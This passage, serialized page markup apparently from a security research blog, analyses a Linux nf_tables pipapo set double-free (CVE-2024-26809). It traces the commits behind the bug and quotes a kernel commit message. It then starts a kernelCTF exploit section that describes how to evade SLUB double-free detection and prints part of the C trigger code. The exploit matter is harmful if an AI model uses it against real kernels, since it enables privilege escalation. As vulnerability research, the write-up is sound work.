NFT_MSG_DESTROYSET:\n",{"type":23,"tag":504,"props":55590,"children":55591},{"class":5016,"line":5859},[55592,55597,55601,55605,55609,55613,55617,55621,55625],{"type":23,"tag":504,"props":55593,"children":55594},{"style":5139},[55595],{"type":29,"value":55596},"  nft_set_destroy",{"type":23,"tag":504,"props":55598,"children":55599},{"style":5058},[55600],{"type":29,"value":603},{"type":23,"tag":504,"props":55602,"children":55603},{"style":5047},[55604],{"type":29,"value":5151},{"type":23,"tag":504,"props":55606,"children":55607},{"style":5058},[55608],{"type":29,"value":54622},{"type":23,"tag":504,"props":55610,"children":55611},{"style":5047},[55612],{"type":29,"value":15803},{"type":23,"tag":504,"props":55614,"children":55615},{"style":5041},[55616],{"type":29,"value":22333},{"type":23,"tag":504,"props":55618,"children":55619},{"style":5058},[55620],{"type":29,"value":4367},{"type":23,"tag":504,"props":55622,"children":55623},{"style":5139},[55624],{"type":29,"value":54588},{"type":23,"tag":504,"props":55626,"children":55627},{"style":5058},[55628],{"type":29,"value":55629},"(trans));\n",{"type":23,"tag":504,"props":55631,"children":55632},{"class":5016,"line":5891},[55633],{"type":23,"tag":504,"props":55634,"children":55635},{"style":5058},[55636],{"type":29,"value":12364},{"type":23,"tag":504,"props":55638,"children":55639},{"class":5016,"line":5899},[55640],{"type":23,"tag":504,"props":55641,"children":55642},{"style":5058},[55643],{"type":29,"value":5965},{"type":23,"tag":504,"props":55645,"children":55646},{"class":5016,"line":5959},[55647],{"type":23,"tag":504,"props":55648,"children":55649},{"style":5058},[55650],{"type":29,"value":12364},{"type":23,"tag":504,"props":55652,"children":55653},{"class":5016,"line":11093},[55654,55658,55662,55667,55671,55675,55679,55683,55687,55692,55696,55700,55704],{"type":23,"tag":504,"props":55655,"children":55656},{"style":5030},[55657],{"type":29,"value":53107},{"type":23,"tag":504,"props":55659,"children":55660},{"style":5030},[55661],{"type":29,"value":53112},{"type":23,"tag":504,"props":55663,"children":55664},{"style":5139},[55665],{"type":29,"value":55666}," nft_set_destroy",{"type":23,"tag":504,"props":55668,"children":55669},{"style":5058},[55670],{"type":29,"value":603},{"type":23,"tag":504,"props":55672,"children":55673},{"style":5030},[55674],{"type":29,"value":11701},{"type":23,"tag":504,"props":55676,"children":55677},{"style":5030},[55678],{"type":29,"value":23203},{"type":23,"tag":504,"props":55680,"children":55681},{"style":5058},[55682],{"type":29,"value":53134},{"type":23,"tag":504,"props":55684,"children":55685},{"style":5047},[55686],{"type":29,"value":6613},{"type":23,"tag":504,"props":55688,"children":55689},{"style":5058},[55690],{"type":29,"value":55691},"ctx, ",{"type":23,"tag":504,"props":55693,"children":55694},{"style":5030},[55695],{"type":29,"value":11448},{"type":23,"tag":504,"props":55697,"children":55698},{"style":5058},[55699],{"type":29,"value":53162},{"type":23,"tag":504,"props":55701,"children":55702},{"style":5047},[55703],{"type":29,"value":6613},{"type":23,"tag":504,"props":55705,"children":55706},{"style":5058},[55707],{"type":29,"value":55708},"set)\n",{"type":23,"tag":504,"props":55710,"children":55711},{"class":5016,"line":11111},[55712],{"type":23,"tag":504,"props":55713,"children":55714},{"style":5058},[55715],{"type":29,"value":12926},{"type":23,"tag":504,"props":55717,"children":55718},{"class":5016,"line":11156},[55719],{"type":23,"tag":504,"props":55720,"children":55721},{"style":5058},[55722],{"type":29,"value":12364},{"type":23,"tag":504,"props":55724,"children":55725},{"class":5016,"line":11262},[55726,55730,55734,55738,55742,55747],{"type":23,"tag":504,"props":55727,"children":55728},{"style":5041},[55729],{"type":29,"value":55147},{"type":23,"tag":504,"props":55731,"children":55732},{"style":5058},[55733],{"type":29,"value":15803},{"type":23,"tag":504,"props":55735,"children":55736},{"style":5041},[55737],{"type":29,"value":54731},{"type":23,"tag":504,"props":55739,"children":55740},{"style":5058},[55741],{"type":29,"value":15803},{"type":23,"tag":504,"props":55743,"children":55744},{"style":5139},[55745],{"type":29,"value":55746},"destroy",{"type":23,"tag":504,"props":55748,"children":55749},{"style":5058},[55750],{"type":29,"value":55751},"(ctx, set);\n",{"type":23,"tag":504,"props":55753,"children":55754},{"class":5016,"line":25550},[55755],{"type":23,"tag":504,"props":55756,"children":55757},{"style":5058},[55758],{"type":29,"value":12364},{"type":23,"tag":504,"props":55760,"children":55761},{"class":5016,"line":25585},[55762],{"type":23,"tag":504,"props":55763,"children":55764},{"style":5058},[55765],{"type":29,"value":5965},{"type":23,"tag":32,"props":55767,"children":55768},{},[55769,55771,55776,55778,55783,55785,55791,55793,55798,55800,55805,55807,55811,55813,55818,55819,55823,55825,55831],{"type":29,"value":55770},"It may appear as if it would be impossible to make ",{"type":23,"tag":154,"props":55772,"children":55774},{"className":55773},[],[55775],{"type":29,"value":53036},{"type":29,"value":55777}," true in the release step because the ",{"type":23,"tag":154,"props":55779,"children":55781},{"className":55780},[],[55782],{"type":29,"value":54406},{"type":29,"value":55784}," method is always invoked first...\nHowever, one last piece brings this bug to life: the ",{"type":23,"tag":154,"props":55786,"children":55788},{"className":55787},[],[55789],{"type":29,"value":55790},"set->dead",{"type":29,"value":55792}," flag. If a ",{"type":23,"tag":154,"props":55794,"children":55796},{"className":55795},[],[55797],{"type":29,"value":53082},{"type":29,"value":55799}," was marked for deletion, it receives the ",{"type":23,"tag":154,"props":55801,"children":55803},{"className":55802},[],[55804],{"type":29,"value":55790},{"type":29,"value":55806}," flag ",{"type":23,"tag":504,"props":55808,"children":55809},{},[55810],{"type":29,"value":5164},{"type":29,"value":55812},". If this flag is set, then the commit path will skip any commitments to this ",{"type":23,"tag":154,"props":55814,"children":55816},{"className":55815},[],[55817],{"type":29,"value":53082},{"type":29,"value":1698},{"type":23,"tag":504,"props":55820,"children":55821},{},[55822],{"type":29,"value":19577},{"type":29,"value":55824},". This is extremely convenient for us and will allow us to trigger the double-free because the ",{"type":23,"tag":154,"props":55826,"children":55828},{"className":55827},[],[55829],{"type":29,"value":55830},"priv ->dirty",{"type":29,"value":55832}," flag is not cleared when it should have been.",{"type":23,"tag":24,"props":55834,"children":55836},{"id":55835},"tracing-the-guilty-commit",[55837],{"type":29,"value":55838},"Tracing the guilty commit",{"type":23,"tag":32,"props":55840,"children":55841},{},[55842,55844,55851,55853,55859,55861,55866,55868,55874],{"type":29,"value":55843},"The above scenario raises some interesting suppositions about how this vulnerability was introduced. See, any ",{"type":23,"tag":68,"props":55845,"children":55848},{"href":55846,"rel":55847},"https://ubuntu.com/security/CVE-2024-26809",[72],[55849],{"type":29,"value":55850},"advisories",{"type":29,"value":55852}," about this vulnerability will say it was introduced by this ",{"type":23,"tag":68,"props":55854,"children":55857},{"href":55855,"rel":55856},"https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/commit/?id=9827a0e6e23bf43003cd3d5b7fb11baf59a35e1e",[72],[55858],{"type":29,"value":54740},{"type":29,"value":55860},", which sounds fair considering this added the weird code that frees twice in the same path. However, by checking the blame on the ",{"type":23,"tag":154,"props":55862,"children":55864},{"className":55863},[],[55865],{"type":29,"value":55790},{"type":29,"value":55867}," flag, which was what actually made this exploitable, we will learn that it was only introduced over a year after the commit above in this ",{"type":23,"tag":68,"props":55869,"children":55872},{"href":55870,"rel":55871},"https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/commit/?id=5f68718b34a531a556f2f50300ead2862278da26",[72],[55873],{"type":29,"value":54740},{"type":29,"value":357},{"type":23,"tag":32,"props":55876,"children":55877},{},[55878],{"type":29,"value":55879},"By reading the message of the first commit, we can finally understand why this code was added:",{"type":23,"tag":4743,"props":55881,"children":55885},{"className":55882,"code":55883,"language":55884,"meta":7,"style":7},"language-txt shiki shiki-themes slack-dark","New elements that reside in the clone are not released in case that the\ntransaction is aborted.\n\n[16302.231754] ------------[ cut here ]------------\n[16302.231756] WARNING: CPU: 0 PID: 100509 at net/netfilter/nf_tables_api.c:1864 nf_tables_chain_destroy+0x26/0x127 [nf_tables]\n[...]\n[16302.231882] CPU: 0 PID: 100509 Comm: nft Tainted: G        W         5.19.0-rc3+ #155\n[...]\n[16302.231887] RIP: 0010:nf_tables_chain_destroy+0x26/0x127 [nf_tables]\n[16302.231899] Code: f3 fe ff ff 41 55 41 54 55 53 48 8b 6f 10 48 89 fb 48 c7 c7 82 96 d9 a0 8b 55 50 48 8b 75 58 e8 de f5 92 e0 83 7d 50 00 74 09 \u003C0f> 0b 5b 5d 41 5c 41 5d c3 4c 8b 65 00 48 8b 7d 08 49 39 fc 74 05\n[...]\n[16302.231917] Call Trace:\n[16302.231919]  \u003CTASK>\n[16302.231921]  __nf_tables_abort.cold+0x23/0x28 [nf_tables]\n[16302.231934]  nf_tables_abort+0x30/0x50 [nf_tables]\n[16302.231946]  nfnetlink_rcv_batch+0x41a/0x840 [nfnetlink]\n[16302.231952]  ? __nla_validate_parse+0x48/0x190\n[16302.231959]  nfnetlink_rcv+0x110/0x129 [nfnetlink]\n[16302.231963]  netlink_unicast+0x211/0x340\n[16302.231969]  netlink_sendmsg+0x21e/0x460\n\nAdd nft_set_pipapo_match_destroy() helper function to release the\nelements in the lookup tables.\n\nStefano Brivio says: \"We additionally look for elements pointers in the\ncloned matching data if priv->dirty is set, because that means that\ncloned data might point to additional elements we did not commit to the\nworking copy yet (such as the abort path case, but perhaps not limited\nto it).\"\n\nFixes: 3c4287f62044 (\"nf_tables: Add set type for arbitrary concatenation of ranges\")\nReviewed-by: Stefano Brivio \u003Csbrivio@redhat.com>\nSigned-off-by: Pablo Neira Ayuso \u003Cpablo@netfilter.org>\n","txt",[55886],{"type":23,"tag":154,"props":55887,"children":55888},{"__ignoreMap":7},[55889,55897,55905,55912,55920,55928,55935,55943,55950,55958,55966,55973,55981,55989,55997,56005,56013,56021,56029,56037,56045,56052,56060,56068,56075,56083,56091,56099,56107,56115,56122,56130,56138],{"type":23,"tag":504,"props":55890,"children":55891},{"class":5016,"line":5017},[55892],{"type":23,"tag":504,"props":55893,"children":55894},{},[55895],{"type":29,"value":55896},"New elements that reside in the clone are not released in case that the\n",{"type":23,"tag":504,"props":55898,"children":55899},{"class":5016,"line":4868},[55900],{"type":23,"tag":504,"props":55901,"children":55902},{},[55903],{"type":29,"value":55904},"transaction is aborted.\n",{"type":23,"tag":504,"props":55906,"children":55907},{"class":5016,"line":4876},[55908],{"type":23,"tag":504,"props":55909,"children":55910},{"emptyLinePlaceholder":15},[55911],{"type":29,"value":5734},{"type":23,"tag":504,"props":55913,"children":55914},{"class":5016,"line":5099},[55915],{"type":23,"tag":504,"props":55916,"children":55917},{},[55918],{"type":29,"value":55919},"[16302.231754] ------------[ cut here ]------------\n",{"type":23,"tag":504,"props":55921,"children":55922},{"class":5016,"line":5203},[55923],{"type":23,"tag":504,"props":55924,"children":55925},{},[55926],{"type":29,"value":55927},"[16302.231756] WARNING: CPU: 0 PID: 100509 at net/netfilter/nf_tables_api.c:1864 nf_tables_chain_destroy+0x26/0x127 [nf_tables]\n",{"type":23,"tag":504,"props":55929,"children":55930},{"class":5016,"line":5308},[55931],{"type":23,"tag":504,"props":55932,"children":55933},{},[55934],{"type":29,"value":12364},{"type":23,"tag":504,"props":55936,"children":55937},{"class":5016,"line":5336},[55938],{"type":23,"tag":504,"props":55939,"children":55940},{},[55941],{"type":29,"value":55942},"[16302.231882] CPU: 0 PID: 100509 Comm: nft Tainted: G        W         5.19.0-rc3+ #155\n",{"type":23,"tag":504,"props":55944,"children":55945},{"class":5016,"line":5349},[55946],{"type":23,"tag":504,"props":55947,"children":55948},{},[55949],{"type":29,"value":12364},{"type":23,"tag":504,"props":55951,"children":55952},{"class":5016,"line":5367},[55953],{"type":23,"tag":504,"props":55954,"children":55955},{},[55956],{"type":29,"value":55957},"[16302.231887] RIP: 0010:nf_tables_chain_destroy+0x26/0x127 [nf_tables]\n",{"type":23,"tag":504,"props":55959,"children":55960},{"class":5016,"line":5388},[55961],{"type":23,"tag":504,"props":55962,"children":55963},{},[55964],{"type":29,"value":55965},"[16302.231899] Code: f3 fe ff ff 41 55 41 54 55 53 48 8b 6f 10 48 89 fb 48 c7 c7 82 96 d9 a0 8b 55 50 48 8b 75 58 e8 de f5 92 e0 83 7d 50 00 74 09 \u003C0f> 0b 5b 5d 41 5c 41 5d c3 4c 8b 65 00 48 8b 7d 08 49 39 fc 74 05\n",{"type":23,"tag":504,"props":55967,"children":55968},{"class":5016,"line":5397},[55969],{"type":23,"tag":504,"props":55970,"children":55971},{},[55972],{"type":29,"value":12364},{"type":23,"tag":504,"props":55974,"children":55975},{"class":5016,"line":5649},[55976],{"type":23,"tag":504,"props":55977,"children":55978},{},[55979],{"type":29,"value":55980},"[16302.231917] Call Trace:\n",{"type":23,"tag":504,"props":55982,"children":55983},{"class":5016,"line":5666},[55984],{"type":23,"tag":504,"props":55985,"children":55986},{},[55987],{"type":29,"value":55988},"[16302.231919]  \u003CTASK>\n",{"type":23,"tag":504,"props":55990,"children":55991},{"class":5016,"line":5683},[55992],{"type":23,"tag":504,"props":55993,"children":55994},{},[55995],{"type":29,"value":55996},"[16302.231921]  __nf_tables_abort.cold+0x23/0x28 [nf_tables]\n",{"type":23,"tag":504,"props":55998,"children":55999},{"class":5016,"line":5696},[56000],{"type":23,"tag":504,"props":56001,"children":56002},{},[56003],{"type":29,"value":56004},"[16302.231934]  nf_tables_abort+0x30/0x50 [nf_tables]\n",{"type":23,"tag":504,"props":56006,"children":56007},{"class":5016,"line":5705},[56008],{"type":23,"tag":504,"props":56009,"children":56010},{},[56011],{"type":29,"value":56012},"[16302.231946]  nfnetlink_rcv_batch+0x41a/0x840 [nfnetlink]\n",{"type":23,"tag":504,"props":56014,"children":56015},{"class":5016,"line":5728},[56016],{"type":23,"tag":504,"props":56017,"children":56018},{},[56019],{"type":29,"value":56020},"[16302.231952]  ? __nla_validate_parse+0x48/0x190\n",{"type":23,"tag":504,"props":56022,"children":56023},{"class":5016,"line":5737},[56024],{"type":23,"tag":504,"props":56025,"children":56026},{},[56027],{"type":29,"value":56028},"[16302.231959]  nfnetlink_rcv+0x110/0x129 [nfnetlink]\n",{"type":23,"tag":504,"props":56030,"children":56031},{"class":5016,"line":5746},[56032],{"type":23,"tag":504,"props":56033,"children":56034},{},[56035],{"type":29,"value":56036},"[16302.231963]  netlink_unicast+0x211/0x340\n",{"type":23,"tag":504,"props":56038,"children":56039},{"class":5016,"line":5813},[56040],{"type":23,"tag":504,"props":56041,"children":56042},{},[56043],{"type":29,"value":56044},"[16302.231969]  netlink_sendmsg+0x21e/0x460\n",{"type":23,"tag":504,"props":56046,"children":56047},{"class":5016,"line":5821},[56048],{"type":23,"tag":504,"props":56049,"children":56050},{"emptyLinePlaceholder":15},[56051],{"type":29,"value":5734},{"type":23,"tag":504,"props":56053,"children":56054},{"class":5016,"line":5851},[56055],{"type":23,"tag":504,"props":56056,"children":56057},{},[56058],{"type":29,"value":56059},"Add nft_set_pipapo_match_destroy() helper function to release the\n",{"type":23,"tag":504,"props":56061,"children":56062},{"class":5016,"line":5859},[56063],{"type":23,"tag":504,"props":56064,"children":56065},{},[56066],{"type":29,"value":56067},"elements in the lookup tables.\n",{"type":23,"tag":504,"props":56069,"children":56070},{"class":5016,"line":5891},[56071],{"type":23,"tag":504,"props":56072,"children":56073},{"emptyLinePlaceholder":15},[56074],{"type":29,"value":5734},{"type":23,"tag":504,"props":56076,"children":56077},{"class":5016,"line":5899},[56078],{"type":23,"tag":504,"props":56079,"children":56080},{},[56081],{"type":29,"value":56082},"Stefano Brivio says: \"We additionally look for elements pointers in the\n",{"type":23,"tag":504,"props":56084,"children":56085},{"class":5016,"line":5959},[56086],{"type":23,"tag":504,"props":56087,"children":56088},{},[56089],{"type":29,"value":56090},"cloned matching data if priv->dirty is set, because that means that\n",{"type":23,"tag":504,"props":56092,"children":56093},{"class":5016,"line":11093},[56094],{"type":23,"tag":504,"props":56095,"children":56096},{},[56097],{"type":29,"value":56098},"cloned data might point to additional elements we did not commit to the\n",{"type":23,"tag":504,"props":56100,"children":56101},{"class":5016,"line":11111},[56102],{"type":23,"tag":504,"props":56103,"children":56104},{},[56105],{"type":29,"value":56106},"working copy yet (such as the abort path case, but perhaps not limited\n",{"type":23,"tag":504,"props":56108,"children":56109},{"class":5016,"line":11156},[56110],{"type":23,"tag":504,"props":56111,"children":56112},{},[56113],{"type":29,"value":56114},"to it).\"\n",{"type":23,"tag":504,"props":56116,"children":56117},{"class":5016,"line":11262},[56118],{"type":23,"tag":504,"props":56119,"children":56120},{"emptyLinePlaceholder":15},[56121],{"type":29,"value":5734},{"type":23,"tag":504,"props":56123,"children":56124},{"class":5016,"line":25550},[56125],{"type":23,"tag":504,"props":56126,"children":56127},{},[56128],{"type":29,"value":56129},"Fixes: 3c4287f62044 (\"nf_tables: Add set type for arbitrary concatenation of ranges\")\n",{"type":23,"tag":504,"props":56131,"children":56132},{"class":5016,"line":25585},[56133],{"type":23,"tag":504,"props":56134,"children":56135},{},[56136],{"type":29,"value":56137},"Reviewed-by: Stefano Brivio \u003Csbrivio@redhat.com>\n",{"type":23,"tag":504,"props":56139,"children":56140},{"class":5016,"line":25593},[56141],{"type":23,"tag":504,"props":56142,"children":56143},{},[56144],{"type":29,"value":56145},"Signed-off-by: Pablo Neira Ayuso \u003Cpablo@netfilter.org>\n",{"type":23,"tag":32,"props":56147,"children":56148},{},[56149,56151,56156,56158,56163,56165,56170,56172,56177],{"type":29,"value":56150},"As we previously discussed, committing changes to a pipapo ",{"type":23,"tag":154,"props":56152,"children":56154},{"className":56153},[],[56155],{"type":29,"value":53082},{"type":29,"value":56157}," is implemented by creating a clone of the match object, to which changes are made during the control plane. Later, if we enter the commit path, the changes are committed in the ",{"type":23,"tag":154,"props":56159,"children":56161},{"className":56160},[],[56162],{"type":29,"value":54406},{"type":29,"value":56164}," method by simply replacing the ",{"type":23,"tag":154,"props":56166,"children":56168},{"className":56167},[],[56169],{"type":29,"value":53082},{"type":29,"value":56171},"s match object with its updated clone. So checking the ",{"type":23,"tag":154,"props":56173,"children":56175},{"className":56174},[],[56176],{"type":29,"value":53036},{"type":29,"value":56178}," flag and then calling free again ensures we also free uncommitted changes.",{"type":23,"tag":32,"props":56180,"children":56181},{},[56182,56184,56189],{"type":29,"value":56183},"This doesn't make sense in the commit path but only in the abort path. Evidently, when aborting the transaction that creates the ",{"type":23,"tag":154,"props":56185,"children":56187},{"className":56186},[],[56188],{"type":29,"value":53082},{"type":29,"value":56190},", there will be no committed changes, and there will only be the elements inside the clone, which will end up never being committed. So, to make sure we free these uncommitted elements, it's crucial to free what's in the clone.",{"type":23,"tag":32,"props":56192,"children":56193},{},[56194,56196,56202,56204,56209,56211,56216],{"type":29,"value":56195},"When this code was introduced, it was only reachable from the abort path because it was the only path where ",{"type":23,"tag":154,"props":56197,"children":56199},{"className":56198},[],[56200],{"type":29,"value":56201},"set->ops->destroy()",{"type":29,"value":56203}," could be called without clearing the ",{"type":23,"tag":154,"props":56205,"children":56207},{"className":56206},[],[56208],{"type":29,"value":53036},{"type":29,"value":56210}," flag, which was fine considering you didn't have duplicated views of the ",{"type":23,"tag":154,"props":56212,"children":56214},{"className":56213},[],[56215],{"type":29,"value":53074},{"type":29,"value":56217},"s, so they would all be in the clone set.",{"type":23,"tag":32,"props":56219,"children":56220},{},[56221,56223,56228],{"type":29,"value":56222},"But when the ",{"type":23,"tag":154,"props":56224,"children":56226},{"className":56225},[],[56227],{"type":29,"value":55790},{"type":29,"value":56229}," flag was introduced, some assumptions about the commit path were changed. It created a new way of reaching this code while having already committed changes in the set. This means any already committed changes will have a view in the \"normal\" match object and one in the clone.",{"type":23,"tag":32,"props":56231,"children":56232},{},[56233],{"type":29,"value":56234},"The vulnerability was fixed by only deleting elements from the clone because the clone should have all views of committed and uncommitted changes, effectively eliminating the double-free vulnerability.",{"type":23,"tag":24,"props":56236,"children":56238},{"id":56237},"kernelctf-exploit",[56239],{"type":29,"value":56240},"KernelCTF exploit",{"type":23,"tag":32,"props":56242,"children":56243},{},[56244,56246,56252,56254,56261],{"type":29,"value":56245},"Now that we know the full story of the bug, let's look into how I exploited it in the KernelCTF LTS instance before getting into the universal exploit. A great deal of the exploit is based on the ",{"type":23,"tag":154,"props":56247,"children":56249},{"className":56248},[],[56250],{"type":29,"value":56251},"nft_object + udata",{"type":29,"value":56253}," technique shared by lonial con in a ",{"type":23,"tag":68,"props":56255,"children":56258},{"href":56256,"rel":56257},"https://github.com/google/security-research/blob/master/pocs/linux/kernelctf/CVE-2023-4004_lts_cos_mitigation/docs/exploit.md",[72],[56259],{"type":29,"value":56260},"previous kernelCTF exploit",{"type":29,"value":357},{"type":23,"tag":320,"props":56263,"children":56265},{"id":56264},"trigger-uafavoid-double-free-detection",[56266],{"type":29,"value":56267},"Trigger UAF/avoid double-free detection",{"type":23,"tag":32,"props":56269,"children":56270},{},[56271,56273,56279,56281,56287],{"type":29,"value":56272},"The SLUB allocator has a naive double-free detection mechanism to spot straightforward sequences, such as the same object being added to the free-list twice in a row without any other objects being added in between.\nAs we have seen, ",{"type":23,"tag":154,"props":56274,"children":56276},{"className":56275},[],[56277],{"type":29,"value":56278},"nft_set_pipapo_match_destroy",{"type":29,"value":56280}," iterates over the ",{"type":23,"tag":154,"props":56282,"children":56284},{"className":56283},[],[56285],{"type":29,"value":56286},"setelems",{"type":29,"value":56288}," in the set and frees each of them, so it should be relatively simple to avoid detection by having more than one element in the set, in which case the following will happen:",{"type":23,"tag":139,"props":56290,"children":56291},{},[56292,56297,56302,56307],{"type":23,"tag":143,"props":56293,"children":56294},{},[56295],{"type":29,"value":56296},"Element A gets freed",{"type":23,"tag":143,"props":56298,"children":56299},{},[56300],{"type":29,"value":56301},"Element B gets free",{"type":23,"tag":143,"props":56303,"children":56304},{},[56305],{"type":29,"value":56306},"Element A gets freed again (double-free)",{"type":23,"tag":143,"props":56308,"children":56309},{},[56310],{"type":29,"value":56311},"Element B gets freed again (double-free)",{"type":23,"tag":4743,"props":56313,"children":56315},{"className":31164,"code":56314,"language":31166,"meta":7,"style":7},"[...]\nstatic void trigger_uaf(struct mnl_socket *nl, size_t size, int *msgqids)\n{\n[...]\n    // TRANSACTION 2\n[...]\n\n    // create pipapo set\n    uint8_t desc[2] = {16, 16};\n    set = create_set(\n        batch, seq++, exploit_table_name, \"pwn_set\", 0x1337,\n        NFT_SET_INTERVAL | NFT_SET_OBJECT | NFT_SET_CONCAT, KEY_LEN, 2, &desc, NULL, 0, NFT_OBJECT_CT_EXPECT);\n\n    // commit 2 elems to set (elems A and B that will be double-freed)\n    for (int i = 0; i \u003C 2; i++)\n    {\n        elem[i] = nftnl_set_elem_alloc();\n        memset(key, 0x41 + i, KEY_LEN);\n        nftnl_set_elem_set(elem[i], NFTNL_SET_ELEM_OBJREF, \"pwnobj\", 7);\n        nftnl_set_elem_set(elem[i], NFTNL_SET_ELEM_KEY, &key, KEY_LEN);\n        nftnl_set_elem_set(elem[i], NFTNL_SET_ELEM_USERDATA, &udata_buf, size);\n        nftnl_set_elem_add(set, elem[i]);\n    }\n[...]\n\n    // TRANSACTION 3\n[...]\n    set = nftnl_set_alloc();\n    nftnl_set_set_u32(set, NFTNL_SET_FAMILY, family);\n    nftnl_set_set_str(set, NFTNL_SET_TABLE, exploit_table_name);\n    nftnl_set_set_str(set, NFTNL_SET_NAME, \"pwn_set\");\n\n    // make priv->dirty true\n    memset(key, 0xff, KEY_LEN);\n    elem[3] = nftnl_set_elem_alloc();\n    nftnl_set_elem_set(elem[3], NFTNL_SET_ELEM_OBJREF, \"pwnobj\", 7);\n    nftnl_set_elem_set(elem[3], NFTNL_SET_ELEM_KEY, &key, KEY_LEN);\n    nftnl_set_elem_add(set, elem[3]);\n[...]\n\n    // double-free commited elems\n[...]\n    nftnl_set_free(set);\n}\n[...]\n",[56316],{"type":23,"tag":154,"props":56317,"children":56318},{"__ignoreMap":7},[56319,56326,56387,56394,56401,56409,56416,56423,56431,56455,56476,56510,56571,56578,56586,56638,56645,56671,56698,56737,56766,56795,56817,56824,56831,56838,56846,56853,56861,56874,56887,56907,56914,56922,56944,56976,57021,57057,57085,57092,57099,57107,57114,57130,57137],{"type":23,"tag":504,"props":56320,"children":56321},{"class":5016,"line":5017},[56322],{"type":23,"tag":504,"props":56323,"children":56324},{"style":5058},[56325],{"type":29,"value":12364},{"type":23,"tag":504,"props":56327,"children":56328},{"class":5016,"line":4868},[56329,56334,56338,56343,56347,56352,56356,56361,56366,56370,56374,56378,56383],{"type":23,"tag":504,"props":56330,"children":56331},{"style":5058},[56332],{"type":29,"value":56333},"static void trigger_uaf(",{"type":23,"tag":504,"props":56335,"children":56336},{"style":5030},[56337],{"type":29,"value":11448},{"type":23,"tag":504,"props":56339,"children":56340},{"style":5467},[56341],{"type":29,"value":56342}," mnl_socket",{"type":23,"tag":504,"props":56344,"children":56345},{"style":5030},[56346],{"type":29,"value":11863},{"type":23,"tag":504,"props":56348,"children":56349},{"style":5041},[56350],{"type":29,"value":56351},"nl",{"type":23,"tag":504,"props":56353,"children":56354},{"style":5058},[56355],{"type":29,"value":4367},{"type":23,"tag":504,"props":56357,"children":56358},{"style":5030},[56359],{"type":29,"value":56360},"size_t",{"type":23,"tag":504,"props":56362,"children":56363},{"style":5041},[56364],{"type":29,"value":56365}," size",{"type":23,"tag":504,"props":56367,"children":56368},{"style":5058},[56369],{"type":29,"value":4367},{"type":23,"tag":504,"props":56371,"children":56372},{"style":5030},[56373],{"type":29,"value":21098},{"type":23,"tag":504,"props":56375,"children":56376},{"style":5030},[56377],{"type":29,"value":11863},{"type":23,"tag":504,"props":56379,"children":56380},{"style":5041},[56381],{"type":29,"value":56382},"msgqids",{"type":23,"tag":504,"props":56384,"children":56385},{"style":5058},[56386],{"type":29,"value":5200},{"type":23,"tag":504,"props":56388,"children":56389},{"class":5016,"line":4876},[56390],{"type":23,"tag":504,"props":56391,"children":56392},{"style":5058},[56393],{"type":29,"value":12926},{"type":23,"tag":504,"props":56395,"children":56396},{"class":5016,"line":5099},[56397],{"type":23,"tag":504,"props":56398,"children":56399},{"style":5058},[56400],{"type":29,"value":12364},{"type":23,"tag":504,"props":56402,"children":56403},{"class":5016,"line":5203},[56404],{"type":23,"tag":504,"props":56405,"children":56406},{"style":5058},[56407],{"type":29,"value":56408},"    // TRANSACTION 2\n",{"type":23,"tag":504,"props":56410,"children":56411},{"class":5016,"line":5308},[56412],{"type":23,"tag":504,"props":56413,"children":56414},{"style":5058},[56415],{"type":29,"value":12364},{"type":23,"tag":504,"props":56417,"children":56418},{"class":5016,"line":5336},[56419],{"type":23,"tag":504,"props":56420,"children":56421},{"emptyLinePlaceholder":15},[56422],{"type":29,"value":5734},{"type":23,"tag":504,"props":56424,"children":56425},{"class":5016,"line":5349},[56426],{"type":23,"tag":504,"props":56427,"children":56428},{"style":5058},[56429],{"type":29,"value":56430},"    // create pipapo set\n",{"type":23,"tag":504,"props":56432,"children":56433},{"class":5016,"line":5367},[56434,56439,56443,56447,56451],{"type":23,"tag":504,"props":56435,"children":56436},{"style":5058},[56437],{"type":29,"value":56438},"    uint8_t desc[2] = {",{"type":23,"tag":504,"props":56440,"children":56441},{"style":5083},[56442],{"type":29,"value":42904},{"type":23,"tag":504,"props":56444,"children":56445},{"style":5058},[56446],{"type":29,"value":4367},{"type":23,"tag":504,"props":56448,"children":56449},{"style":5083},[56450],{"type":29,"value":42904},{"type":23,"tag":504,"props":56452,"children":56453},{"style":5058},[56454],{"type":29,"value":18625},{"type":23,"tag":504,"props":56456,"children":56457},{"class":5016,"line":5388},[56458,56463,56467,56472],{"type":23,"tag":504,"props":56459,"children":56460},{"style":5058},[56461],{"type":29,"value":56462},"    set ",{"type":23,"tag":504,"props":56464,"children":56465},{"style":5047},[56466],{"type":29,"value":546},{"type":23,"tag":504,"props":56468,"children":56469},{"style":5139},[56470],{"type":29,"value":56471}," create_set",{"type":23,"tag":504,"props":56473,"children":56474},{"style":5058},[56475],{"type":29,"value":5512},{"type":23,"tag":504,"props":56477,"children":56478},{"class":5016,"line":5397},[56479,56484,56488,56493,56498,56502,56506],{"type":23,"tag":504,"props":56480,"children":56481},{"style":5058},[56482],{"type":29,"value":56483},"        batch, seq",{"type":23,"tag":504,"props":56485,"children":56486},{"style":5047},[56487],{"type":29,"value":53331},{"type":23,"tag":504,"props":56489,"children":56490},{"style":5058},[56491],{"type":29,"value":56492},", exploit_table_name, ",{"type":23,"tag":504,"props":56494,"children":56495},{"style":6297},[56496],{"type":29,"value":56497},"\"pwn_set\"",{"type":23,"tag":504,"props":56499,"children":56500},{"style":5058},[56501],{"type":29,"value":4367},{"type":23,"tag":504,"props":56503,"children":56504},{"style":5083},[56505],{"type":29,"value":45561},{"type":23,"tag":504,"props":56507,"children":56508},{"style":5058},[56509],{"type":29,"value":5557},{"type":23,"tag":504,"props":56511,"children":56512},{"class":5016,"line":5649},[56513,56518,56522,56527,56531,56536,56540,56544,56548,56553,56558,56562,56566],{"type":23,"tag":504,"props":56514,"children":56515},{"style":5058},[56516],{"type":29,"value":56517},"        NFT_SET_INTERVAL ",{"type":23,"tag":504,"props":56519,"children":56520},{"style":5047},[56521],{"type":29,"value":12462},{"type":23,"tag":504,"props":56523,"children":56524},{"style":5058},[56525],{"type":29,"value":56526}," NFT_SET_OBJECT ",{"type":23,"tag":504,"props":56528,"children":56529},{"style":5047},[56530],{"type":29,"value":12462},{"type":23,"tag":504,"props":56532,"children":56533},{"style":5058},[56534],{"type":29,"value":56535}," NFT_SET_CONCAT, KEY_LEN, 